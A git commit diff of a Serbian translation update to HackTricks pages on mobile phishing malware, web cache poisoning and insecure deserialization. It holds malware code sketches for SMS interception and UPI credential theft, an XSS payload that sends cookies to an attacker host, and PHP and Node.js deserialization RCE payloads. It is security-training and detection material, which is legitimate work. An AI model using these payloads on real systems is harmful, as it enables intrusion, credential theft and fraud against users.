Translated ['', 'src/pentesting-web/cache-deception/README.md', 'src/pen

This commit is contained in:
Translator 2025-08-22 00:11:46 +00:00
parent c8cca933e4
commit 75eefd39c3
3 changed files with 206 additions and 87 deletions

View File

@ -9,7 +9,7 @@
## Tok Napada
1. **SEO/Phishing Infrastruktura**
* Registrujte desetine domena sličnih (upoznavanje, deljenje u oblaku, servis automobila…).
* Registrujte desetine domena koji liče na prave (upoznavanje, deljenje u oblaku, servis automobila…).
Koristite ključne reči na lokalnom jeziku i emotikone u `<title>` elementu da biste se rangirali na Google-u.
Hostujte *obe* Android (`.apk`) i iOS uputstva za instalaciju na istoj odredišnoj stranici.
2. **Prvo Preuzimanje**
@ -19,7 +19,7 @@
* Prilikom prvog pokretanja aplikacija traži **pozivnicu / verifikacioni kod** (iluzija ekskluzivnog pristupa).
* Kod se **POST-uje preko HTTP-a** do Komande i Kontrole (C2).
* C2 odgovara `{"success":true}` ➜ malware nastavlja.
* Sandbox / AV dinamička analiza koja nikada ne podnosi validan kod ne vidi **maliciozno ponašanje** (izbegavanje).
* Sandbox / AV dinamička analiza koja nikada ne šalje validan kod ne vidi **maliciozno ponašanje** (izbegavanje).
4. **Zloupotreba Dozvola u Runtime-u** (Android)
* Opasne dozvole se traže **samo nakon pozitivnog C2 odgovora**:
```xml
@ -30,7 +30,7 @@
```
* Nedavne varijante **uklanjaju `<uses-permission>` za SMS iz `AndroidManifest.xml`** ali ostavljaju Java/Kotlin kod koji čita SMS putem refleksije ⇒ smanjuje statički rezultat dok je i dalje funkcionalan na uređajima koji daju dozvolu putem zloupotrebe `AppOps` ili starih ciljeva.
5. **Facade UI i Prikupljanje u Pozadini**
* Aplikacija prikazuje bezopasne prikaze (pregledač SMS-a, odabir galerije) implementirane lokalno.
* Aplikacija prikazuje bezopasne prikaze (pregledač SMS-a, izbor galerije) implementirane lokalno.
* U međuvremenu, exfiltrira:
- IMEI / IMSI, broj telefona
- Potpun `ContactsContract` dump (JSON niz)
@ -38,7 +38,7 @@
- Opcionalni sadržaj SMS-a (`content://sms`)
Payload-ovi su **batch-zipped** i poslati putem `HTTP POST /upload.php`.
6. **iOS Tehnika Dostave**
* Jedan **mobilni konfiguracioni profil** može zahtevati `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` itd. da bi upisao uređaj u “MDM”-sličnu superviziju.
* Jedan **mobilni konfiguracioni profil** može zahtevati `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` itd. da bi registrovao uređaj u “MDM”-sličnu superviziju.
* Uputstva za socijalno inženjerstvo:
1. Otvorite Podešavanja ➜ *Profil preuzet*.
2. Dodirnite *Instaliraj* tri puta (screenshot-ovi na phishing stranici).
@ -49,16 +49,16 @@ Payload-ovi su **batch-zipped** i poslati putem `HTTP POST /upload.php`.
## Odbrambeno Testiranje / Saveti za Crveni Tim
* **Obilaženje Dinamičke Analize** Tokom procene malvera, automatizujte fazu pozivnog koda sa Frida/Objection da biste došli do malicioznog ogranka.
* **Manifest vs. Runtime Razlika** Uporedite `aapt dump permissions` sa runtime `PackageManager#getRequestedPermissions()`; nedostatak opasnih dozvola je crvena zastava.
* **Mrežni Kanarinac** Konfigurišite `iptables -p tcp --dport 80 -j NFQUEUE` da biste otkrili nesolidne POST eksplozije nakon unosa koda.
* **Obilaženje Dinamičke Analize** Tokom procene malware-a, automatizujte fazu pozivnog koda sa Frida/Objection da biste došli do malicioznog ogranka.
* **Manifest vs. Runtime Diff** Uporedite `aapt dump permissions` sa runtime `PackageManager#getRequestedPermissions()`; nedostatak opasnih dozvola je crvena zastava.
* **Mrežni Kanarinac** Konfigurišite `iptables -p tcp --dport 80 -j NFQUEUE` da detektujete nesolidne POST eksplozije nakon unosa koda.
* **Inspekcija mobileconfig** Koristite `security cms -D -i profile.mobileconfig` na macOS-u da biste naveli `PayloadContent` i uočili prekomerne privilegije.
## Ideje za Detekciju Plavog Tima
* **Transparentnost Sertifikata / DNS Analitika** da uhvatite iznenadne eksplozije domena bogatih ključnim rečima.
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` iz Dalvik klijenata van Google Play-a.
* **Telemetrija Pozivnog Koda** POST od 68 cifrenih kodova ubrzo nakon instalacije APK-a može ukazivati na pripremu.
* **Telemetrija Pozivnog Koda** POST od 68 cifrenih kodova odmah nakon instalacije APK-a može ukazivati na pripremu.
* **Potpisivanje MobileConfig** Blokirajte nepotpisane konfiguracione profile putem MDM politike.
## Koristan Frida Snippet: Auto-Obilaženje Pozivnog Koda
@ -86,9 +86,127 @@ return conn;
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
```
---
## Android WebView Payment Phishing (UPI) Dropper + FCM C2 Pattern
Ovaj obrazac je primećen u kampanjama koje zloupotrebljavaju teme državnih beneficija kako bi ukrale indijske UPI akreditive i OTP-ove. Operateri povezuju ugledne platforme za isporuku i otpornost.
### Isporuka kroz pouzdane platforme
- YouTube video mamac → opis sadrži kratku vezu
- Kratka veza → GitHub Pages phishing sajt koji imitira legitiman portal
- Isti GitHub repozitorij sadrži APK sa lažnim “Google Play” oznakom koja direktno povezuje na datoteku
- Dinamičke phishing stranice su aktivne na Replit-u; daljinski komandni kanal koristi Firebase Cloud Messaging (FCM)
### Dropper sa ugrađenim payload-om i offline instalacijom
- Prvi APK je instalater (dropper) koji isporučuje pravi malware na `assets/app.apk` i traži od korisnika da onemogući WiFi/mobilne podatke kako bi umanjio detekciju u oblaku.
- Ugrađeni payload se instalira pod bezopasnom oznakom (npr., “Sigurna Ažuriranja”). Nakon instalacije, i instalater i payload su prisutni kao odvojene aplikacije.
Static triage tip (grep za ugrađene payload-ove):
```bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
### Dinamičko otkrivanje krajnjih tačaka putem skraćenih linkova
- Malware preuzima listu aktivnih krajnjih tačaka u običnom tekstu, odvojenu zarezima, sa skraćenog linka; jednostavne transformacije stringa proizvode konačni put do phishing stranice.
Primer (sanitizovan):
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
```
Pseudo-kod:
```java
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### WebView-based UPI credential harvesting
- Korak “Napravite uplatu od ₹1 / UPILite” učitava HTML formu napadača sa dinamičkog krajnjeg tačke unutar WebView i hvata osetljive podatke (telefon, banka, UPI PIN) koji se `POST`uju na `addup.php`.
Minimal loader:
```java
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
```
### Samopropagacija i presretanje SMS/OTP-a
- Agresivne dozvole se traže prilikom prvog pokretanja:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
```
- Kontakti se koriste za masovno slanje smishing SMS poruka sa žrtvinog uređaja.
- Dolazni SMS poruke se presreću od strane broadcast receiver-a i učitavaju sa metapodacima (pošiljalac, telo, SIM slot, nasumični ID po uređaju) na `/addsm.php`.
Receiver sketch:
```java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}
```
### Firebase Cloud Messaging (FCM) kao otpornog C2
- Payload se registruje na FCM; push poruke sadrže `_type` polje koje se koristi kao prekidač za pokretanje akcija (npr., ažuriranje phishing tekstualnih šablona, prebacivanje ponašanja).
Primer FCM payload-a:
```json
{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}
```
Skica handler-a:
```java
@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}
```
### Obrasci lova i IOCs
- APK sadrži sekundarni payload na `assets/app.apk`
- WebView učitava uplatu sa `gate.htm` i exfiltrira na `/addup.php`
- Exfiltracija SMS-a na `/addsm.php`
- Konfiguracija vođena skraćenim linkovima (npr., `rebrand.ly/*`) koja vraća CSV krajnje tačke
- Aplikacije označene kao generičke “Ažuriranje/Sigurno ažuriranje”
- FCM `data` poruke sa `_type` diskriminatorom u nepouzdanim aplikacijama
### Ideje za detekciju i odbranu
- Obeležiti aplikacije koje upućuju korisnike da onemoguće mrežu tokom instalacije, a zatim učitavaju drugi APK iz `assets/`.
- Upozoriti na dozvolu tuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-bazirani tokovi plaćanja.
- Monitoring izlaza za `POST /addup.php|/addsm.php` na ne-korporativnim hostovima; blokirati poznatu infrastrukturu.
- Pravila mobilnog EDR-a: nepouzdana aplikacija koja se registruje za FCM i grana se na `_type` polju.
---
## Reference
- [Tamna strana romantike: SarangTrap kampanja ucene](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban biblioteka za kompresiju slika na Androidu](https://github.com/Curzibn/Luban)
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban Android image compression library](https://github.com/Curzibn/Luban)
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -93,7 +93,7 @@ GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Napomena da ako je ranjivi kolačić veoma korišćen od strane korisnika, redovni zahtevi će čistiti keš.
Napomena da ako je ranjavi kolačić veoma korišćen od strane korisnika, redovni zahtevi će čistiti keš.
### Generisanje razlika sa delimiterima, normalizacijom i tačkama <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
@ -124,7 +124,7 @@ X-Forwarded-Scheme: http
```
### Iskorišćavanje sa ograničenim `Vary` headerom
Ako ste otkrili da se **`X-Host`** header koristi kao **ime domena za učitavanje JS resursa** ali **`Vary`** header u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da eksfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent:
Ako ste otkrili da se **`X-Host`** header koristi kao **ime domena za učitavanje JS resursa**, ali **`Vary`** header u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da izvučete User-Agent žrtve i otrovate keš koristeći taj korisnički agent:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -133,7 +133,7 @@ X-Host: attacker.com
```
### Fat Get
Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako veb server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao ranjivost koju je pronašao James Kettle na Github veb sajtu:
Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako veb server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao što je ranjivost koju je pronašao James Kettle na Github vebsajtu:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -152,37 +152,37 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Saznajte ovde kako izvesti [Cache Poisoning napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automated testing for Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) može se koristiti za automatsko testiranje web cache poisoning-a. Podržava mnoge različite tehnike i veoma je prilagodljiv.
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
Primer korišćenja: `wcvs -u example.com`
Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Ovaj obrazac iz stvarnog sveta povezuje refleksivnu primitivu zasnovanu na header-u sa ponašanjem CDN/WAF kako bi pouzdano otrovao keširani HTML koji se servira drugim korisnicima:
Ovaj obrazac iz stvarnog sveta povezuje refleksivnu primitivu zasnovanu na headeru sa ponašanjem CDN/WAF kako bi pouzdano otrovao keširani HTML koji se servira drugim korisnicima:
- Glavni HTML je reflektovao nepouzdani zahtevni header (npr., `User-Agent`) u izvršni kontekst.
- CDN je uklonio keš header-e, ali je postojao interni/origin keš. CDN je takođe automatski keširao zahteve koji se završavaju statičnim ekstenzijama (npr., `.js`), dok je WAF primenio slabiju inspekciju sadržaja na GET-ove za statičke resurse.
- Čudne karakteristike toka zahteva omogućile su da zahtev za `.js` putanjom utiče na keš ključ/varijantu koja se koristi za sledeći glavni HTML, omogućavajući cross-user XSS putem refleksije header-a.
- Čudne karakteristike toka zahteva omogućile su da zahtev za `.js` putanjom utiče na keš ključ/varijantu koja se koristi za sledeći glavni HTML, omogućavajući cross-user XSS putem refleksije headera.
Praktični recept (posmatrano na popularnom CDN/WAF):
1) Sa čiste IP adrese (izbegavajte prethodne degradacije zasnovane na reputaciji), postavite zlonameran `User-Agent` putem pregledača ili Burp Proxy Match & Replace.
2) U Burp Repeater-u, pripremite grupu od dva zahteva i koristite "Send group in parallel" (jedan paket mod radi najbolje):
2) U Burp Repeater-u, pripremite grupu od dva zahteva i koristite "Send group in parallel" (jednopaketni režim najbolje funkcioniše):
- Prvi zahtev: GET resurs putanje `.js` na istom originu dok šaljete svoj zlonamerni `User-Agent`.
- Odmah nakon: GET glavne stranice (`/`).
3) Trka usmeravanja CDN/WAF plus automatski keširani `.js` često zasadi otrovanu varijantu keširanog HTML-a koja se zatim servira drugim posetiocima koji dele iste uslove keš ključa (npr., iste `Vary` dimenzije kao `User-Agent`).
Primer header payload-a (za eksfiltraciju ne-HttpOnly kolačića):
Example header payload (to exfiltrate non-HttpOnly cookies):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:
- Mnogi CDN-ovi skrivaju zaglavlja keša; trovanje može da se pojavi samo na višesatnim ciklusima osvežavanja. Koristite više IP adresa i usporite kako biste izbegli okvire brzine ili okidače reputacije.
- Mnogi CDN-ovi skrivaju zaglavlja keša; trovanje može da se pojavi samo na ciklusima osvežavanja od više sati. Koristite više IP adresa i usporite kako biste izbegli okvire brzine ili okidače reputacije.
- Korišćenje IP adrese iz vlastitog oblaka CDN-a ponekad poboljšava doslednost rutiranja.
- Ako je prisutan strogi CSP, ovo i dalje funkcioniše ako se refleksija izvršava u glavnom HTML kontekstu i CSP dozvoljava inline izvršavanje ili se zaobilazi kontekstom.
@ -204,7 +204,7 @@ ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša k
### GitHub CP-DoS
Slanje loše vrednosti u zaglavlju content-type izazvalo je 405 keširani odgovor. Ključ keša je sadržao kolačić, tako da je bilo moguće napasti neautorizovane korisnike.
Slanje loše vrednosti u zaglavlju content-type izazvalo je 405 keširani odgovor. Ključ keša je sadržao kolačić, tako da je bilo moguće napasti samo neautentifikovane korisnike.
### GitLab + GCP CP-DoS
@ -212,11 +212,11 @@ GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Buckets**
### Rack Middleware (Ruby on Rails)
U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda je da uzme vrednost zaglavlja **`x-forwarded-scheme`** i postavi je kao shemu zahteva. Kada se pošalje zaglavlje `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, što može izazvati uskraćivanje usluge (DoS) za taj resurs. Pored toga, aplikacija može prepoznati zaglavlje `X-forwarded-host` i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, što predstavlja sigurnosni rizik.
U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda je da uzme vrednost zaglavlja **`x-forwarded-scheme`** i postavi je kao shemu zahteva. Kada se pošalje zaglavlje `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, potencijalno uzrokujući uskraćivanje usluge (DoS) za taj resurs. Pored toga, aplikacija može prepoznati zaglavlje `X-forwarded-host` i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, što predstavlja sigurnosni rizik.
### 403 and Storage Buckets
Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa pogrešnim Authorization zaglavljima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao da kešira 403 odgovore, ovo ponašanje može i dalje biti prisutno u drugim proxy servisima.
Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa pogrešnim Authorization zaglavljima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao da kešira 403 odgovore, ovo ponašanje može i dalje biti prisutno u drugim proxy uslugama.
### Injecting Keyed Parameters
@ -236,9 +236,9 @@ Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima v
## Cache Deception
Cilj Cache Deception-a je da natera klijente **da učitavaju resurse koji će biti sačuvani u kešu sa njihovim osetljivim informacijama**.
Cilj Cache Deception-a je da natera klijente **da učitaju resurse koji će biti sačuvani u kešu sa njihovim osetljivim informacijama**.
Prvo, imajte na umu da su **ekstenzije** kao što su `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **kešu.** Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Ali, ako se **aplikacija** **replay** sa **osetljivim** korisničkim sadržajem sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika.
Prvo, imajte na umu da su **ekstenzije** kao što su `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **kešu.** Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Ali, ako se **aplikacija** **replay-uje** sa **osetljivim** korisničkim sadržajem sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika.
Druge stvari koje treba testirati:
@ -272,4 +272,5 @@ Saznajte ovde kako izvesti [Cache Deceptions napade koristeći HTTP Request Smug
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,21 +4,21 @@
## Basic Information
**Serialization** se razume kao metoda konvertovanja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da se osigura da objekat može biti ponovo kreiran u budućnosti, održavajući svoju strukturu i stanje.
**Serijalizacija** se razume kao metoda konvertovanja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da se osigura da objekat može biti ponovo kreiran u budućnosti, održavajući svoju strukturu i stanje.
**Deserialization**, s druge strane, je proces koji deluje protiv serijalizacije. Uključuje uzimanje podataka koji su strukturirani u određenom formatu i rekonstrukciju nazad u objekat.
**Deserijalizacija**, s druge strane, je proces koji deluje protiv serijalizacije. Uključuje uzimanje podataka koji su strukturirani u određenom formatu i rekonstrukciju nazad u objekat.
Deserialization može biti opasna jer potencijalno **omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod** ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.
Deserijalizacija može biti opasna jer potencijalno **omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod** ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.
## PHP
U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserializacije:
U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserijalizacije:
- `__sleep`: Poziva se kada se objekat serijalizuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba serijalizovati. Obično se koristi za obavezujuće podatke ili obavljanje sličnih zadataka čišćenja.
- `__wakeup`: Poziva se kada se objekat deserializuje. Koristi se za ponovno uspostavljanje bilo kakvih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i obavljanje drugih zadataka ponovnog inicijalizovanja.
- `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserializuje. Daje više kontrole nad procesom deserializacije u poređenju sa `__wakeup`.
- `__destruct`: Ova metoda se poziva kada se objekat sprema da bude uništen ili kada skripta završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje datotečnih rukova ili veza sa bazom podataka.
- `__toString`: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje datoteke ili druge zadatke zasnovane na funkcijskim pozivima unutar njega, efikasno pružajući tekstualnu reprezentaciju objekta.
- `__wakeup`: Poziva se kada se objekat deserijalizuje. Koristi se za ponovno uspostavljanje bilo kakvih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i obavljanje drugih zadataka ponovnog inicijalizovanja.
- `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserijalizuje. Daje više kontrole nad procesom deserijalizacije u poređenju sa `__wakeup`.
- `__destruct`: Ova metoda se poziva kada se objekat sprema da bude uništen ili kada skripta završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje rukovaoca datoteka ili veza sa bazom podataka.
- `__toString`: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje datoteke ili druge zadatke zasnovane na pozivima funkcija unutar njega, efikasno pružajući tekstualnu reprezentaciju objekta.
```php
<?php
class test {
@ -92,7 +92,7 @@ Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__des
Možete pročitati objašnjeni **PHP primer ovde**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ovde [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ili ovde [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Classes
### PHP Deserial + Autoload Klase
Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php datoteke i još više:
@ -101,7 +101,7 @@ Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php da
php-deserialization-+-autoload-classes.md
{{#endref}}
### Serijalizovanje Referenciranih Vrednosti
### Serijalizacija Referenciranih Vrednosti
Ako iz nekog razloga želite da serijalizujete vrednost kao **referencu na drugu serijalizovanu vrednost**, možete:
```php
@ -140,7 +140,7 @@ Ako je **`allowed_classes` izostavljen _ili_ se kod izvršava na PHP < 7.0**, po
#### Primer iz stvarnog sveta: Everest Forms (WordPress) CVE-2025-52709
WordPress dodatak **Everest Forms ≤ 3.2.2** pokušao je da bude odbramben sa pomoćnim omotačem, ali je zaboravio na starije verzije PHP-a:
WordPress dodatak **Everest Forms ≤ 3.2.2** pokušao je da bude odbramben sa pomoćnim omotačem, ali je zaboravio na legacijske verzije PHP-a:
```php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
@ -155,7 +155,7 @@ return @unserialize(trim($data));
return $data;
}
```
Na serverima koji su još uvek koristili **PHP ≤ 7.0**, ova druga grana dovela je do klasične **PHP Object Injection** kada je administrator otvorio zlonamerni obrazac za slanje. Minimalni exploit payload mogao bi izgledati ovako:
Na serverima koji su još uvek koristili **PHP ≤ 7.0**, ova druga grana dovela je do klasične **PHP Object Injection** kada je administrator otvorio zlonamerni obrazac. Minimalni exploit payload mogao bi izgledati ovako:
```
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
```
@ -223,10 +223,10 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **nema "magic" funkcije** kao PHP ili Python koje će biti izvršene samo za kreiranje objekta. Ali ima neke **funkcije** koje se **često koriste čak i bez direktnog pozivanja** kao što su **`toString`**, **`valueOf`**, **`toJSON`**.\
JS **nema "magične" funkcije** kao PHP ili Python koje će se izvršiti samo za kreiranje objekta. Ali ima neke **funkcije** koje se **često koriste čak i bez direktnog pozivanja** kao što su **`toString`**, **`valueOf`**, **`toJSON`**.\
Ako zloupotrebljavate deserializaciju, možete **kompromitovati te funkcije da izvrše drugi kod** (potencijalno zloupotrebljavajući prototipske zagađenja) i mogli biste izvršiti proizvoljan kod kada se pozovu.
Drugi **"magic" način da pozovete funkciju** bez direktnog pozivanja je **kompromitovanjem objekta koji se vraća iz async funkcije** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugi **promise** sa **svojstvom** pod nazivom **"then" tipa funkcije**, biće **izvršen** samo zato što je vraćen iz drugog promise-a. _Pratite_ [_**ovaj link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
Još jedan **"magičan" način da pozovete funkciju** bez direktnog pozivanja je **kompromitovanjem objekta koji se vraća iz async funkcije** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugu **promise** sa **svojstvom** pod nazivom **"then" tipa funkcije**, biće **izvršeno** samo zato što je vraćeno iz druge promise. _Pratite_ [_**ovaj link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -298,7 +298,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
Kao što je prethodno navedeno, ova biblioteka će dobiti kod nakon `_$$ND_FUNC$$_` i **izvršiće ga** koristeći `eval`. Stoga, da biste **automatski izvršili kod**, možete **izbrisati deo za kreiranje funkcije** i poslednju zagradu i **samo izvršiti JS oneliner** kao u sledećem primeru:
Kao što je prethodno naznačeno, ova biblioteka će dobiti kod nakon `_$$ND_FUNC$$_` i **izvršiće ga** koristeći `eval`. Stoga, da biste **automatski izvršili kod**, možete **izbrisati deo za kreiranje funkcije** i poslednju zagradu i **samo izvršiti JS oneliner** kao u sledećem primeru:
```javascript
var serialize = require("node-serialize")
var test =
@ -311,7 +311,7 @@ Možete [**pronaći ovde**](https://opsecx.com/index.php/2017/02/08/exploiting-n
Značajan aspekt **funcster** je nedostupnost **standardnih ugrađenih objekata**; oni su van dostupnog opsega. Ova ograničenja sprečavaju izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka kao što su `"ReferenceError: console is not defined"` kada se koriste komande poput `console.log()` ili `require(something)`.
Uprkos ovom ograničenju, obnova punog pristupa globalnom kontekstu, uključujući sve standardne ugrađene objekte, moguća je kroz specifičan pristup. Korišćenjem globalnog konteksta direktno, može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći isječak:
Uprkos ovom ograničenju, obnova potpunog pristupa globalnom kontekstu, uključujući sve standardne ugrađene objekte, moguća je kroz specifičan pristup. Korišćenjem globalnog konteksta direktno, može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći isječak:
```javascript
funcster = require("funcster")
//Serialization
@ -374,7 +374,7 @@ U Javi, **deserializacijski povratni pozivi se izvršavaju tokom procesa deseria
#### Bela kutija
Da biste identifikovali potencijalne ranjivosti serijalizacije u kodu, tražite:
Da biste identifikovali potencijalne ranjivosti u serijalizaciji u kodu, potražite:
- Klase koje implementiraju `Serializable` interfejs.
- Korišćenje `java.io.ObjectInputStream`, `readObject`, `readUnshare` funkcija.
@ -390,14 +390,14 @@ Obratite posebnu pažnju na:
#### Crna kutija
Za testiranje crne kutije, tražite specifične **potpise ili "Magic Bytes"** koji označavaju java serijalizovane objekte (koji potiču iz `ObjectInputStream`):
Za testiranje crne kutije, potražite specifične **potpise ili "Magic Bytes"** koji označavaju java serijalizovane objekte (koji potiču iz `ObjectInputStream`):
- Hexadecimalni obrazac: `AC ED 00 05`.
- Base64 obrazac: `rO0`.
- HTTP odgovarajući zaglavlja sa `Content-type` postavljenim na `application/x-java-serialized-object`.
- Hexadecimalni obrazac koji označava prethodnu kompresiju: `1F 8B 08 00`.
